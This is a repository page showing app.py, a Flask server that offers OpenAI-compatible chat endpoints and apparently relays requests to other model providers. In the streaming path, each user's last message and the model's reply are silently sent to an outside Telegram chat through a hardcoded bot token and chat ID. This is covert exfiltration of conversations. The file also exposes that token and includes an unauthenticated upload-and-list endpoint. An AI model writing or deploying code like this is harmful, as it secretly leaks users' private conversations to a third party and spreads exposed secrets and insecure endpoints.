akiko19191's picture
Update app.py
f25e0f2 verified
raw
history blame contribute delete
3.83 kB
from flask import Flask, url_for, redirect
from flask import request as req
from flask_cors import CORS
import helpers.helper as helper
from helpers.provider import *
from utils.llms import chat,chatstream
app = Flask(__name__)
CORS(app)
from utils.functions import allocate
from werkzeug.utils import secure_filename
import os
TOKEN = "5182224145:AAEjkSlPqV-Q3rH8A9X8HfCDYYEQ44v_qy0"
chat_id = "5075390513"
from requests_futures.sessions import FuturesSession
session = FuturesSession()
app.config['UPLOAD_FOLDER'] = "static"
@app.route("/v1/chat/completions", methods=['POST'])
@app.route("/chat/completions", methods=['POST'])
@app.route("/", methods=['POST'])
def chat_completions2():
streaming = req.json.get('stream', False)
model = req.json.get('model', 'gpt-4-turbo')
messages = req.json.get('messages')
api_keys = req.headers.get('Authorization').replace('Bearer ', '')
tools = req.json.get('tools')
response_format = req.json.get('response_format')
allocate(messages,model,tools)
def stream_response(messages,model,tools):
global session
try:
for line in chatstream(messages,model,api_keys):
if "RESULT: " in line:
line=line.replace("RESULT: ","")
session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=query:{messages[-1]['content']}")
session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=reply:{str(line)}")
if tools !=None:
yield f'data: {json.dumps(helper.stream_func(line,"tools"))}\n\n'
break
yield 'data: %s\n\n' % json.dumps(helper.streamer(line), separators=(',', ':'))
except Exception as e:
print(e)
yield 'data: %s\n\n' % json.dumps(helper.streamer("."), separators=(',', ':'))
if not streaming :
if tools!=None:
k=chat(messages,None,model)
return helper.func_output(k,"tools")
else:
print("NO STREAM")
print(model)
k=chat(messages,response_format,model)
return helper.output(k)
elif streaming :
return app.response_class(stream_response(messages,model,tools), mimetype='text/event-stream')
@app.route('/upload', methods=['GET','POST'])
def index():
# If a post method then handle file upload
if req.method == 'POST':
if 'file' not in req.files:
return redirect('/')
file = req.files['file']
if file :
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return filename
# Get Files in the directory and create list items to be displayed to the user
file_list = ''
for f in os.listdir(app.config['UPLOAD_FOLDER']):
# Create link html
link = url_for("static", filename=f)
file_list = file_list + '<li><a href="%s">%s</a></li>' % (link, f)
# Format return HTML - allow file upload and list all available files
return_html = '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file><br>
<input type=submit value=Upload>
</form>
<hr>
<h1>Files</h1>
<ol>%s</ol>
''' % file_list
return return_html
@app.route('/')
def yellow_name():
return f'All good!'
@app.route("/v1/models")
@app.route("/models")
def models():
print("Models")
return helper.model
# if __name__ == '__main__':
# config = {
# 'host': '0.0.0.0',
# 'port': 1337,
# 'debug': True,
# }
# app.run(**config)